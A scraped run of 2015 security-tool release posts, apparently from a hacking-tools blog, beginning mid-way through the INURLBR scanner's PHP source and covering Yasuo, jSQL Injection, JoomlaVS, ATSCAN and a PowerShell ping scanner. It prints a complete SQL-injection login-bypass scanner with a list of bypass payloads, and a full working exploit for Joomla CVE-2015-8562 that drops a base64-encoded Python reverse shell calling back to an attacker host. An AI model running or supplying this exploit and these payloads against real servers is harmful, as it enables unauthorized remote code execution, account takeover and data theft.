    __openFile($_SESSION['config']['abrir-arquivo']);
    __plus();
    __exitProcess();
}

################################################################################
#RUN WITH SEARCH ENGINES########################################################
################################################################################

__main($_SESSION['config']['dork'], $_SESSION['config']['motor'], $_SESSION['config']['cod']);

function __extra() {

    $banners = array(
        "{$_SESSION["c1"]}
_ _  _ _  _ ____ _    ___  ____ 
| |\ | |  | |__/ |    |__] |__/ 
| | \| |__| |  \ |___ |__] |  \ 
", "{$_SESSION["c1"]}
 (        )         (    (          (     
 )\ )  ( /(         )\ ) )\ )   (   )\ )  
(()/(  )\())    (  (()/((()/( ( )\ (()/(  
 /(_))((_)\     )\  /(_))/(_)))((_) /(_)) 
(_))   _((_) _ ((_)(_)) (_)) ((_)_ (_))   
|_ _| | \| || | | || _ \| |   | _ )| _ \  
 | |  | .` || |_| ||   /| |__ | _ \|   /  
|___| |_|\_| \___/ |_|_\|____||___/|_|_\ 
 ", "{$_SESSION["c1"]}
.-..-. .-..-. .-..----. .-.   .----. .----. 
| ||  `| || { } || {}  }| |   | {}  }| {}  }
| || |\  || {_} || .-. \| `--.| {}  }| .-. \
`-'`-' `-'`-----'`-' `-'`----'`----' `-' `-' 
     ", "{$_SESSION["c1"]}
 ___ _   _ _   _ ____  _     ____  ____  
|_ _| \ | | | | |  _ \| |   | __ )|  _ \ 
 | ||  \| | | | | |_) | |   |  _ \| |_) |
 | || |\  | |_| |  _ <| |___| |_) |  _ < 
|___|_| \_|\___/|_| \_\_____|____/|_| \_\
", "{$_SESSION["c1"]}
                                     /~\
                                    |oo )      /INURLBR
                                    _\=/_
                    ___        #   /  _  \   #
                   /() \        \\//|/.\|\\//
                 _|_____|_       \/  \_/  \/
                | | === | |         |\ /|
                |_|  O  |_|         \_ _/
                 ||  O  ||          | | |
                 ||__*__||          | | |
                |~ \___/ ~|         []|[]
                /=\ /=\ /=\         | | |
________________[_]_[_]_[_]________/_]_[_\_________________________
", "{$_SESSION["c1"]}
 ______   __  __  __  __  ____    __       ____     ____       
/\__  _\ /\ \/\ \/\ \/\ \/\  _`\ /\ \     /\  _`\  /\  _`\     
\/_/\ \/ \ \ `\\ \ \ \ \ \ \ \L\ \ \ \    \ \ \L\ \\ \ \L\ \   
   \ \ \  \ \ , ` \ \ \ \ \ \ ,  /\ \ \  __\ \  _ <'\ \ ,  /   
    \_\ \__\ \ `\ \ \ \_\ \ \ \\ \\ \ \L\ \\ \ \L\ \\ \ \\ \  
    /\_____\\ \_\ \_\ \_____\ \_\ \_\ \____/ \ \____/ \ \_\ \_\
    \/_____/ \/_/\/_/\/_____/\/_/\/ /\/___/   \/___/   \/_/\/ /
", "{$_SESSION["c1"]}
 _____ ______  _     _ ______  _       ______ ______  
(_____)  ___ \| |   | (_____ \| |     (____  (_____ \ 
   _  | |   | | |   | |_____) ) |      ____)  )____) )
  | | | |   | | |   | (_____ (| |     |  __  (_____ ( 
 _| |_| |   | | |___| |     | | |_____| |__)  )    | |
(_____)_|   |_|\______|     |_|_______)______/     |_|
", "{$_SESSION["c1"]}
                           ______                                  
                        .-.      .-.                               
                       /            \                              
                      |  [ INURLBR ] |                             
                      |,  .-.  .-.  ,|                             
                      | )(|_/  \|_)( |                             
                      |/     /\     \|                             
              _       (_     ^^     _)                             
      _\ ____) \_______\__|IIIIII|__/_______________________________     
     (_)[___]{}<________|-\IIIIII/-|__INURL__INURL__INURL___________\    
       /     )_/        \          /                               
                         \ ______ / 
", "{$_SESSION["c1"]}
    
88 88b 88 88   88 88**Yb 88     88**Yb 88**Yb
88 88Yb88 88   88 88__dP 88     88__dP 88__dP
88 88 Y88 Y8   8P 88*Yb  88  .o 88**Yb 88*Yb 
88 88  Y8 `YbodP' 88  Yb 88ood8 88oodP 88  Yb
", "{$_SESSION["c1"]}
    
       #                                                
       ##                        ###                    
   ### ###  ##  ###  ##  ####### ###     ####### ####### 
   ### #### ##  ###  ##       ## ###          ##      ##
   ### #######  ###  ##  ######  ###     ######  ###### 
   ### ### ###  ###  ##  ##  ##  ###     ###  ## ##  ## 
   ### ###  ##   #####   ##   ## ####### ######  ##   ##
             #     
", "{$_SESSION["c1"]}
    
 __    __   __    __   _______  __      __    __   __    __   _______  __  
|  |  |  | |  |  |  | |   ____||  |    |  |  |  | |  |  |  | |   ____||  | 
|  |__|  | |  |  |  | |  |__   |  |    |  |__|  | |  |  |  | |  |__   |  | 
|   __   | |  |  |  | |   __|  |  |    |   __   | |  |  |  | |   __|  |  | 
|  |  |  | |  `--'  | |  |____ |__|    |  |  |  | |  `--'  | |  |____ |__| 
|__|  |__|  \______/  |_______|(__)    |__|  |__|  \______/  |_______|(__)                                                                          
", "{$_SESSION["c1"]}
 _            _          
| |__  _ __  | |__  _ __ 
| '_ \| '__| | '_ \| '__|
| |_) | |    | |_) | |   
|_.__/|_|    |_.__/|_| 
", "{$_SESSION["c1"]}
     ___      .__   __. .___________. __   _______    ___      
    /   \     |  \ |  | |           ||  | |   ____|  /   \     
   /  ^  \    |   \|  | `---|  |----`|  | |  |__    /  ^  \    
  /  /_\  \   |  . `  |     |  |     |  | |   __|  /  /_\  \   
 /  _____  \  |  |\   |     |  |     |  | |  |    /  _____  \  
/__/     \__\ |__| \__|     |__|     |__| |__|   /__/     \__\                                                              
", "{$_SESSION["c1"]}
 _____       _                       _           
/  ___|     | |                     (_)          
\ `--. _   _| |____   _____ _ __ ___ ___   _____ 
 `--. \ | | | '_ \ \ / / _ \ '__/ __| \ \ / / _ \
/\__/ / |_| | |_) \ V /  __/ |  \__ \ |\ V /  __/
\____/ \__,_|_.__/ \_/ \___|_|  |___/_| \_/ \___|

", "{$_SESSION["c1"]}
 __     __              _       _ _                       ____  _       _ _        _ 
 \ \   / /_ _ _ __   __| | __ _| (_)___ _ __ ___   ___   |  _ \(_) __ _(_) |_ __ _| |
  \ \ / / _` | '_ \ / _` |/ _` | | / __| '_ ` _ \ / _ \  | | | | |/ _` | | __/ _` | |
   \ V / (_| | | | | (_| | (_| | | \__ \ | | | | | (_) | | |_| | | (_| | | || (_| | |
    \_/ \__,_|_| |_|\__,_|\__,_|_|_|___/_| |_| |_|\___/  |____/|_|\__, |_|\__\__,_|_|
                                                                  |___/              
");
    return ($banners[rand(0, count($banners) - 1)]);
}

Source : https://github.com/googleinurl

↧

Yosuo v-2.0 released : is A ruby script that scans for vulnerable & exploitable 3rd-party web applications on a network.

November 23, 2015, 12:18 am

≫ Next: JSQL Injection v-0.7 released : a java tool for automatic database injection.

≪ Previous: SCANNER-INURLBR v2.1.0 codename Subversive released.

Changelog v-2.0:

+ Added signature for Symantec Endpoint Protection Manager
+ Added signature for Arecont Vision Mega Pixel Panoramic Camera
+ login form brute force
– minor bug fixes
– Updated application signatures : Ektron CMS, Easy File Management Web Server, HP AutoPass License Server, Auxilium RateMyPet, Jenkins Script-Console, JBoss, MobileCartly, Apache Struts, Oracle Endeca Server, Auxilium RateMyPet, Apache Roller and more.

Yasuo is a ruby script that scans for vulnerable 3rd-party web applications.

While working on a network security assessment (internal, external, redteam gigs etc.), we often come across vulnerable 3rd-party web applications or web front-ends that allow us to compromise the remote server by exploiting publicly known vulnerabilities. Some of the common & favorite applications are Apache Tomcat administrative interface, JBoss jmx-console, Hudson Jenkins and so on.

If you search through Exploit-db, there are over 10,000 remotely exploitable vulnerabilities that exist in tons of web applications/front-ends and could allow an attacker to completely compromise the back-end server. These vulnerabilities range from RCE to malicious file uploads to SQL injection to RFI/LFI etc.
Yasuo is built to quickly scan the network for such vulnerable applications thus serving pwnable targets on a silver platter.

Setup / Install

gem install ruby-nmap net-http-persistent mechanize text-table
git clone https://github.com/0xsauby/yasuo
cd yasuo
./yasuo.rb
update
git pull

Details

Yasuo provides following command-line options:

-r :: If you want Yasuo to perform port scan, use this switch to provide an IP address or IP range or an input file with new-line separated IP addresses

-f :: If you do not want Yasuo to perform port scan and already have an nmap output in xml format, use this switch to feed the nmap output

-n :: Tells Yasuo to not ping the host while performing the port scan. Standard nmap option.

-p :: Use this switch to provide port number(s)/range

-A :: Use this switch to scan all the 65535 ports. Standard nmap option.

-b [all/form/basic] :: If the discovered application implements authentication, use this switch to brute-force the auth. "all" will brute-force both form & http basic auth. "form" will only brute-force form-based auth. "basic" will only brute-force http basic auth.

-h :: Well, take a guess

Examples
./yasuo -r 127.0.0.1 -p 80,8080,443,8443 -b form
The above command will perform port scan against 127.0.0.1 on ports 80, 8080, 443 and 8443 and will brute-force login for all the applications that implement form-based authentication.

./yasuo -f my_nmap_output.xml -b all
The above command will parse the nmap output file “my_nmap_output.xml” and will brute-force login for all the applications that implement form-based and http basic authentication.

Download : Master.zip | Clone Url
Source : https://github.com/0xsauby | Our Post Before

↧

JSQL Injection v-0.7 released : a java tool for automatic database injection.

November 23, 2015, 12:54 pm

≫ Next: SQLi login payload Scanner v.2 released.

≪ Previous: Yosuo v-2.0 released : is A ruby script that scans for vulnerable & exploitable 3rd-party web applications on a network.

Changelog JSQL-Injection v0.7 This version includes :
+ Batch scan
+ Github issue reporter
+ Support 16 db engines
+ Optimized GUI
jSQL Injection is a lightweight application used to find database information from a distant server.
jSQL is free, open source and cross-platform (Windows, Linux, Mac OS X, Solaris).

jSQL Injection is a lightweight application used to find database information from a distant server.

Kali Linux logo jSQL is part of Kali Linux, the official new BackTrack penetration distribution.
jSQL is also included in Black Hat Sec, ArchAssault Project and BlackArch Linux.

Disclaimer :
Attacking web-server is illegal without prior mutual consent. The end user is responsible and obeys all applicable laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program.

Download : jsql-injection-alpha.v0.7.jar(2.73 MB)
Source : https://github.com/ron190
Our Post Before : http://seclist.us/update-jsql-injection-v-0-6-alpha-a-java-tool-for-automatic-database-injection.html

↧

SQLi login payload Scanner v.2 released.

November 24, 2015, 12:54 am

≫ Next: JoomlaVS – A black box, Ruby powered, Joomla vulnerability scanner.

≪ Previous: JSQL Injection v-0.7 released : a java tool for automatic database injection.

SQLi login payload Scanner v.2.
System requrements : WIndows 7/Vista/8.1/10, Ubuntu 14.04, Kali Linux 2.0 Black Arch Linux.

SQLi login payload Scanner v.2.

Requirements (you can install manually using pip):
+ Python 2.6 – 2.7
– cookielib
– urllib2
– urllib
– argparse
– sys
– threading
– termcolor
– cookielib

payloader.py Script:

#!/usr/bin/python 
# -*- coding: utf-8 -*-

import urllib
import urllib2
import re
import argparse
import sys
import threading
from termcolor import colored
from cookielib import CookieJar



request_headers = {
		
		"Accept-Language" : "en-US,en;q=0.5",
		"User-Agent"	  : "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36",
		"Accept"          : "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
		"Referer"         : "http://fbi.gov",
		"Connection"      : "keep-alive" 
}



about = colored("""
-----------------------------------------
--                                     --
-- SQLi login payload Scanner. v.2     --
--                                     --
-- Camoufl4g3                          --
--                                     --
-- Azdefacers.org                      --
-- Select the option -help for help    --
-----------------------------------------
""",'green')

#--------------------------------------------------- Scan function -------------------------------------------------

print about


def PayloadScan(target,username,password,exception,payload):

	try:
		request  = urllib2.Request(target,headers=request_headers)
		cj       = CookieJar()
		opener   = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
		data     = urllib.urlencode({username:payload,password:payload})
		u        = opener.open(target, data)
		getcode  = u.getcode()
		match    = re.findall(r'{}'.format(exception),u.read())

		if(match):
				print  "%s  %s" % (payload,colored('[-]','red'))  
		else:
				print  "%s  %s" % (payload,colored('[+]','green'))
	except KeyboardInterrupt:
		print 'stopped'
		



def Main():


	parser = argparse.ArgumentParser()

	parser.add_argument('-t',
                          action = "store", #stored
                          dest   = "target",
                          #type   = "string", #int tipi
                          help = "for example: ./bruteforce.py -t victim.com")


	parser.add_argument('-uc',
                          action = "store", #stored
                          dest   = "uc",
                          #type   = "string", #int tipi
                          help = "for example: ./bruteforce.py -uc username column")



	parser.add_argument('-pc',
                          action = "store", #stored
                          dest   = "pc",
                          #type   = "string", #int tipi
                          help = "for example: ./bruteforce.py -pc password column")


	parser.add_argument('-exception',
                          action = "store", #stored
                          dest   = "exception",
                          #type   = "string", #int tipi
                          help = "for example: ./bruteforce.py -a exception word")




	args   = parser.parse_args()



	if args.target:
		print("# Creating target " + args.target)


	if args.uc:
		print("# Creating user column " + args.uc)


	if args.pc:
		print("# Creating password column " + args.pc)

	if args.exception:
		print("# Creating exception " + args.exception)	

	target   = args.target

	print '--------------------------------------------'	

	try: 
		f 		= open("payloads.txt","r")
	except IOError:
		sys.exit('File doesn\'t exist!')

	threads = []
	for line in f.readlines():
         t = threading.Thread(target = PayloadScan, args = (target,args.uc,args.pc,args.exception,line.rstrip('\n')))
         threads.append(t)
         t.start()
	

if __name__ == "__main__":
	Main()

payloads.txt Script:

'-'
' '
'&'
'^'
'*'
' or ''-'
' or '' '
' or ''&'
' or ''^'
' or ''*'
"-"
" "
"&"
"^"
"*"
" or ""-"
" or "" "
" or ""&"
" or ""^"
" or ""*"
or true--
" or true--
' or true--
") or true--
') or true--
' or 'x'='x
') or ('x')=('x
')) or (('x'))=(('x
" or "x"="x
") or ("x")=("x
")) or (("x"))=(("x
or 1=1
or 1=1-- 
or 1=1#
or 1=1/*
admin' --
admin' #
admin'/*
admin' or '1'='1
admin' or '1'='1'--
admin' or '1'='1'#
admin' or '1'='1'/*
admin'or 1=1 or ''='
admin' or 1=1
admin' or 1=1--
admin' or 1=1#
admin' or 1=1/*
admin') or ('1'='1
admin') or ('1'='1'--
admin') or ('1'='1'#
admin') or ('1'='1'/*
admin') or '1'='1
admin') or '1'='1'--
admin') or '1'='1'#
admin') or '1'='1'/*
1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055
admin" --
admin" #
admin"/*
admin" or "1"="1
admin" or "1"="1"--
admin" or "1"="1"#
admin" or "1"="1"/*
admin"or 1=1 or ""="
admin" or 1=1
admin" or 1=1--
admin" or 1=1#
admin" or 1=1/*
admin") or ("1"="1
admin") or ("1"="1"--
admin") or ("1"="1"#
admin") or ("1"="1"/*
admin") or "1"="1
admin") or "1"="1"--
admin") or "1"="1"#
admin") or "1"="1"/*
1234 " AND 1=0 UNION ALL SELECT "admin", "81dc9bdb52d04dc20036dbd8313ed055

Source : https://github.com/camoufl4g3

↧

JoomlaVS – A black box, Ruby powered, Joomla vulnerability scanner.

November 24, 2015, 11:16 pm

≫ Next: Async IP-Scanner for PowerShell.

≪ Previous: SQLi login payload Scanner v.2 released.

Latest Change 24/11/2015:
+ Add Real Estate Manager and core system vulns
+ Fix crash caused by invalid version strings

JoomlaVS is a Ruby application that can help automate assessing how vulnerable a Joomla installation is to exploitation. It supports basic finger printing and can scan for vulnerabilities in components, modules and templates as well as vulnerabilities that exist within Joomla itself.

A black box, Ruby powered, Joomla vulnerability scanner

Installation:

Ensure Ruby [2.0 or above] is installed on your system
git clone git clone https://github.com/rastating/joomlavs.git
cd <your Clone folder>
sudo gem install bundler && bundle install

----------------
update : cd <your clone folder> git pull

Source: https://github.com/rastating

↧

Async IP-Scanner for PowerShell.

December 7, 2015, 7:58 am

≫ Next: ATSCAN-v2 is a perl script for vulnerable Server, Site and dork scanner.

≪ Previous: JoomlaVS – A black box, Ruby powered, Joomla vulnerability scanner.

Scan Network Async and return PSObject (IPv4Address, Hostname, FQDN, Status)
Currently the first 3 quads of the IP-Address must be the same… you can only scan a range of /24.

PowerShell-Async-IPScanner

Example usage:
ScanNetworkAsync.ps1 -StartIP 192.168.1.1 -EndIP 192.168.168.1.100 -MaxThreads 15 -SleepTimer 500

ScanNetworkAsync.ps1 Script:

##################################################################################################################
###
### Script to scan network and return Status + DNS (if available)
###
##################################################################################################################

<#
    .SYNOPSIS
    Returns an PowerShell Object with basic informations about the Network like IP, Hostname, FQDN and Status
    .DESCRIPTION
    Network Scanner for PowerShell to scan IP-Range async
    
    Returns an PowerShell Object with basic informations about the Network like IP, Hostname, FQDN and Status
    
    The first three quads of the IP-Range must be the same (like 192.168.1.XX - 192.168.1.XX).
    
    .EXAMPLE
    ScanNetworkAsync.ps1 -StartIP 192.168.1.1 -EndIP 192.168.1.200
    .LINK
    https://github.com/BornToBeRoot/PowerShell-Async-IPScanner
#>


##################################################################################################################
### Parameter and default values
##################################################################################################################

[CmdletBinding()]
param(
	[Parameter(
		Position=0,
		Mandatory=$true,
		HelpMessage='Start IP like 192.168.17.1')]
	[String]$StartIP,
	
	[Parameter(
		Position=1,
		Mandatory=$true,
		HelpMessage='End IP like 192.168.17.199')]
	[String]$EndIP,

	[Parameter(
		Position=2,
		Mandatory=$false,
		HelpMessage='Maximum threads at the same time (Default 25)')]
	[Int32]$MaxThreads=25,
	
	[Parameter(
		Position=3,
		Mandatory=$false,
		HelpMessage='Wait time in Milliseconds if all threads are busy (Default 500)')]
	[Int32]$SleepTimer=500
)

##################################################################################################################
### Begin:  User Output (Information about Settings) & Validate IP-Range
##################################################################################################################

begin{
    $StartTime = Get-Date

    Write-Host "`n----------------------------------------------------------------------------------------------------"
    Write-Host "----------------------------------------------------------------------------------------------------`n"
    Write-Host "Start:`tScript (Scan-Network) at $StartTime" -ForegroundColor Green
    Write-Host "`n----------------------------------------------------------------------------------------------------`n"
    Write-Host "Network Scan Settings (Range):`t`t$StartIP - $EndIP"
    Write-Host "Maximum threads at same time:`t`t$MaxThreads (Threads)"
    Write-Host "Wait time if all threads are busy:`t$SleepTimer (Milliseconds)"
    Write-Host "`n----------------------------------------------------------------------------------------------------`n"

    ### Variables for IP-Range Scan
    $TmpStartIP = $StartIP.Split('.')
    $TmpEndIP =  $EndIP.Split('.')

    [String]$StartIP_FirstThree = [String]::Format("{0}.{1}.{2}", $TmpStartIP[0], $TmpStartIP[1], $TmpStartIP[2])
    [String]$EndIP_FirstThree =  [String]::Format("{0}.{1}.{2}", $TmpEndIP[0], $TmpEndIP[1], $TmpEndIP[2])

    $StartRange = $TmpStartIP[3]
    $EndRange = $TmpEndIP[3]

    if($StartIP_FirstThree -notlike $EndIP_FirstThree)
    {
	    Write-Host "The first three quads of the StartIP and EndIP don't match! Abort Script..." -ForegroundColor Red	
	    return
    }

    $FirstThree = $StartIP_FirstThree
}

##################################################################################################################
### Process: Async IP-Scan (with resolveing DNS)
##################################################################################################################

Process{
    Write-Host "Scanning IPs...`n" -ForegroundColor Yellow

    foreach($Quad in $StartRange..$EndRange)
    {
        While ($(Get-Job -state running).count -ge $MaxThreads)
        {
            Start-Sleep -Milliseconds $SleepTimer
        }   
       
        $IPv4Address = "$FirstThree.$Quad"

	    Write-Host "Scanning IP (Async):`t$IPv4Address"

        Start-Job -ArgumentList $IPv4Address -ScriptBlock { 

            $IPv4Address = $args[0]
                
            if(Test-Connection -ComputerName $IPv4Address -Count 2 -Quiet) { $Status = "Up" } else { $Status = "Down" }
		
		    $FQDN = [String]::Empty
		    $Hostname = [String]::Empty
		
		    try	{
			    $FQDN = ([System.Net.Dns]::GetHostEntry($IPv4Address).HostName).ToUpper()                       	
			    $Hostname = $FQDN.Split('.')[0]  						
		    }
		    catch { } # No DNS found
				
		    $Device = New-Object -TypeName PSObject
            Add-Member -InputObject $Device -MemberType NoteProperty -Name IPv4Address -Value $IPv4Address
            Add-Member -InputObject $Device -MemberType NoteProperty -Name Hostname -Value $Hostname
            Add-Member -InputObject $Device -MemberType NoteProperty -Name FQDN -Value $FQDN
		    Add-Member -InputObject $Device -MemberType NoteProperty -Name Status -Value $Status
		
            return $Device      
        } | Out-Null
    }

    Write-Host "`nAwaiting completion of threads..." -ForegroundColor Yellow

    Get-Job | Wait-Job | Out-Null

    Write-Host "`nScanning finished!" -ForegroundColor Yellow


    ### Built Global Array, Wait for Jobs,  Remove Jobs
    $Devices = New-Object System.Collections.ArrayList
   
    Get-Job | Receive-Job | % { $Devices.Add(($_ | Select-Object IPv4Address, Hostname, FQDN, Status))} | Out-Null
   
    Get-Job | Remove-Job | Out-Null
}

##################################################################################################################
### User Output
##################################################################################################################

End {
    $DevicesUp = @($Devices | Where-Object {($_.Status -eq "Up")}).Count
    $DevicesDown = @($Devices | Where-Object {($_.Status -eq "Down") -and (-not([String]::IsNullOrEmpty($_.FQDN)))}).Count
    $DevicesUnkown = @($Devices | Where-Object {($_.Status -eq "Down") -and ([String]::IsNullOrEmpty($_.FQDN))}).Count

    $EndTime = Get-Date
    $ExecutionTime = (New-TimeSpan -Start $StartTime -End $EndTime).Seconds

    Write-Host "`n----------------------------------------------------------------------------------------------------`n"
    Write-Host "Devices Up:`t`t$DevicesUp" 
    Write-Host "Devices Down:`t`t$DevicesDown"
    Write-Host "Devices Unknown:`t$DevicesUnkown" 
    Write-Host "`n----------------------------------------------------------------------------------------------------`n"
    Write-Host "Script duration:`t$ExecutionTime (Seconds)`n" -ForegroundColor Yellow
    Write-Host "End:`tScript (Scan-Network) at $EndTime" -ForegroundColor Green
    Write-Host "`n----------------------------------------------------------------------------------------------------"
    Write-Host "----------------------------------------------------------------------------------------------------`n"

    
    ### Return Network Informations
    return $Devices
}

Source : https://github.com/BornToBeRoot

↧

ATSCAN-v2 is a perl script for vulnerable Server, Site and dork scanner.

December 12, 2015, 1:56 pm

≫ Next: Automate blind RCE for Joomla vulnerability.

≪ Previous: Async IP-Scanner for PowerShell.

Changelog v-2:
+ Add option to scan from list: xss lfi rfi admin page (Mass Scan)
+ Add lists verification
+ Add input verification.
+ Optimize results.

ATSCAN-v-2

ATSCAN is a perl script with function Dork scanner. XSS scanner. LFI scanner. Filter wordpress and Joomla sites in the server. Find Admin page. Decode / Encode MD5 + Base64.

Principal MENU:
1 = DORK SCANNER
2 = SITE SCANNER
3 = SERVER SCANNER
4 = MD5 / BASE 64
5 = ABOUT
6 = EXIT (->)

SCAN SITES OPTIONS:
[+] 1 = CHECK HTTPD VERSION
[+] 2 = XSS SCAN
[+] 3 = LFI SCAN
[+] 4 = RFI SCAN (JOOMLA)
[+] 5 = RFI SCAN (WORDPRESS)
[+] 6 = XSS + LFI
[+] 7 = FIND ADMIN PAGE
[+] 8 = BACK (<-)
[+] 9 = EXIT (->)

ATSCAN-V1.1 Script Download: ATSCAN-V1.1-master (Mirror)

git clone https://github.com/AlisamTechnology/ATSCAN-V1.1
cd ATSCAN-V1
chmod +x ATSCAN
./ATSCAN

note: Best Run on Ubuntu 14.04, Kali Linux 2.0, Arch Linux, Fedora Linux, Centos | if you use a windows you can download manualy 
at https://github.com/AlisamTechnology/ATSCAN-V1.1/archive/master.zip and rename file file ATSCAN to ATSCAN.pl

Source : https://github.com/AlisamTechnology

↧

Automate blind RCE for Joomla vulnerability.

December 17, 2015, 1:40 pm

≫ Next: ATSCAN-v3.1 – perl script for vulnerable Server, Site and dork scanner.

≪ Previous: ATSCAN-v2 is a perl script for vulnerable Server, Site and dork scanner.

Joomla 1.5 – 3.4.5 Object Injection RCE – CVE-2015-856, is a PoC for CVE-2015-8562 to spawn a reverse shell or automate RCE.Requirements:
– python 2.7.x
– all Linux system Support.

Usage – Automate Blind RCE:
+ git clone https://github.com/0xcc-labs/Exploit-POCs
+ cd Exploit-POCs
+ python joomla-rce-2-shell.py -t http://192.168.1.139/ –cmd
+ $ touch /tmp/newhnewh

joomla-rce.py Script:

#!/usr/bin/env python

# Exploit Title: Joomla 1.5 - 3.4.5 Object Injection RCE X-Forwarded-For header
# Date: 12/17/2015
# Exploit Author: original - Gary@ Sec-1 ltd, Modified - Andrew McNicol BreakPoint Labs (@0xcc_labs)
# Vendor Homepage: https://www.joomla.org/
# Software Link: http://joomlacode.org/gf/project/joomla/frs/
# Version: Joomla 1.5 - 3.4.5
# Tested on: Ubuntu 14.04.2 LTS (Joomla! 3.2.1 Stable)
# CVE : CVE-2015-8562


'''
    Joomla 1.5 - 3.4.5 Object Injection RCE - CVE-2015-8562
    PoC for CVE-2015-8562 to spawn a reverse shell or automate RCE
    Original PoC from Gary@ Sec-1 ltd (http://www.sec-1.com): 
    https://www.exploit-db.com/exploits/38977/
    Vulnerability Info, Exploit, Detection:
    https://breakpoint-labs.com/joomla-rce-cve-2015-8562/
    Exploit modified to use "X-Forwarded-For" header instead of "User-Agent" to avoid default logged to access.log
    Usage - Automate Blind RCE:
    python joomla-rce-2-shell.py -t http://192.168.1.139/ --cmd
    $ touch /tmp/newhnewh    
    Usage - Spawn Reverse Shell using Pentestmonkey's Python one-liner and netcat listener on local host:
    python joomla-rce-2-shell.py -t http://192.168.1.139/ -l 192.168.1.119 -p 4444
    [-] Attempting to exploit Joomla RCE (CVE-2015-8562) on: http://192.168.1.139/
    [-] Uploading python reverse shell with LHOST:192.168.1.119 and LPORT:4444
    <Response [200]>
    [+] Spawning reverse shell....
    <Response [200]>
    Listening on [0.0.0.0] (family 0, port 4444)
    $ python -c "import pty;pty.spawn('/bin/bash')"
    www-data@ubuntu:/$ id
    uid=33(www-data) gid=33(www-data) groups=33(www-data)
    www-data@ubuntu:/$ 
'''
    
import requests
import subprocess
import argparse
import sys
import base64
 
# Heavy lifting from PoC author Gary@ Sec-1 ltd (http://www.sec-1.com)
def get_url(url, user_agent):
 
    headers = {
    'User-Agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 5_0 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9A334 Safari/7534.48.3', # Change default UA for Requests
    'x-forwarded-for': user_agent   # X-Forwarded-For header instead of UA
    }
    cookies = requests.get(url,headers=headers).cookies
    for _ in range(3):
        response = requests.get(url, headers=headers,cookies=cookies)    
    return response


def php_str_noquotes(data):
    "Convert string to chr(xx).chr(xx) for use in php"
    encoded = ""
    for char in data:
        encoded += "chr({0}).".format(ord(char))
 
    return encoded[:-1]

 
def generate_payload(php_payload):
 
    php_payload = "eval({0})".format(php_str_noquotes(php_payload))
 
    terminate = '\xf0\xfd\xfd\xfd';
    exploit_template = r'''}__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";'''
    injected_payload = "{};JFactory::getConfig();exit".format(php_payload)    
    exploit_template += r'''s:{0}:"{1}"'''.format(str(len(injected_payload)), injected_payload)
    exploit_template += r''';s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"\0\0\0connection";b:1;}''' + terminate
 
    return exploit_template


def main():
    parser = argparse.ArgumentParser(prog='cve-2015-8562.py', description='Automate blind RCE for Joomla vuln CVE-2015-8652')
    parser.add_argument('-t', dest='RHOST', required=True, help='Remote Target Joomla Server')
    parser.add_argument('-l', dest='LHOST', help='specifiy local ip for reverse shell')
    parser.add_argument('-p', dest='LPORT', help='specifiy local port for reverse shell')
    parser.add_argument('--cmd', dest='cmd', action='store_true', help='drop into blind RCE')

    args = parser.parse_args()

    if args.cmd:
        print "[-] Attempting to exploit Joomla RCE (CVE-2015-8562) on: {}".format(args.RHOST)
        print "[-] Dropping into shell-like environment to perform blind RCE"
        while True:
            command = raw_input('$ ')
            cmd_str = "system('{}');".format(command)
            pl = generate_payload(cmd_str)
            print get_url(args.RHOST, pl)

    # Spawn Reverse Shell using Netcat listener + Python shell on victim
    elif args.LPORT and args.LPORT:
        connection = "'{}', {}".format(args.LHOST, args.LPORT)

        # pentestmonkey's Python reverse shell one-liner:
        shell_str = '''import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('''+connection+'''));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'''
        # Base64 encoded the Python reverse shell as some chars were messing up in the exploit
        encoded_comm = base64.b64encode(shell_str)
        # Stage 1 payload Str
        payload = "echo {} | base64 -d > /tmp/newhnewh.py".format(encoded_comm)
        print "[-] Attempting to exploit Joomla RCE (CVE-2015-8562) on: {}".format(args.RHOST)
        print "[-] Uploading python reverse shell with LHOST {} and {}".format(args.LHOST, args.LPORT)
        # Stage 1: Uploads the Python reverse shell to "/tmp/newhnewh.py"
        pl = generate_payload("system('"+payload+"');")
        print get_url(args.RHOST, pl)
        # Spawns Shell listener using netcat on LHOST
        listener = subprocess.Popen(args=["gnome-terminal", "--command=nc -lvp "+args.LPORT])
        print "[+] Spawning reverse shell...."
        # Stage 2: Executes Python reverse shell back to LHOST:LPORT
        pl = generate_payload("system('python /tmp/newhnewh.py');")
        print get_url(args.RHOST, pl)
    else:
        print '[!] missing arguments'
        parser.print_help()


if __name__ == "__main__":
    main()

Source: https://github.com/0xcc-labs

↧

ATSCAN-v3.1 – perl script for vulnerable Server, Site and dork scanner.

December 19, 2015, 5:15 pm

≫ Next: Crawlic is a web reconnaissance tool.

≪ Previous: Automate blind RCE for Joomla vulnerability.

ATSCAN is a perl script with function Dork scanner. XSS scanner. LFI scanner. Filter wordpress and Joomla sites in the server. Find Admin page. Decode / Encode MD5 + Base64.

Changelog v3.1: Correct proxy verification.

Principal MENU:
1 = DORK SCANNER
2 = SITE SCANNER
3 = SERVER SCANNER
4 = MD5 / BASE 64
5 = ABOUT
6 = EXIT (->)

ATSCAN-V1.1 Script Download: ATSCAN-V3.1-master (Mirror)

git clone https://github.com/AlisamTechnology/ATSCAN-V3.1
cd ATSCAN-V1
chmod +x ATSCAN
./ATSCAN

note: Best Run on Ubuntu 14.04, Kali Linux 2.0, Arch Linux, Fedora Linux, Centos | if you use a windows you can download manualy 
at https://github.com/AlisamTechnology/ATSCAN-V3.1/archive/master.zip & run using MinGW and rename file file ATSCAN to ATSCAN.pl

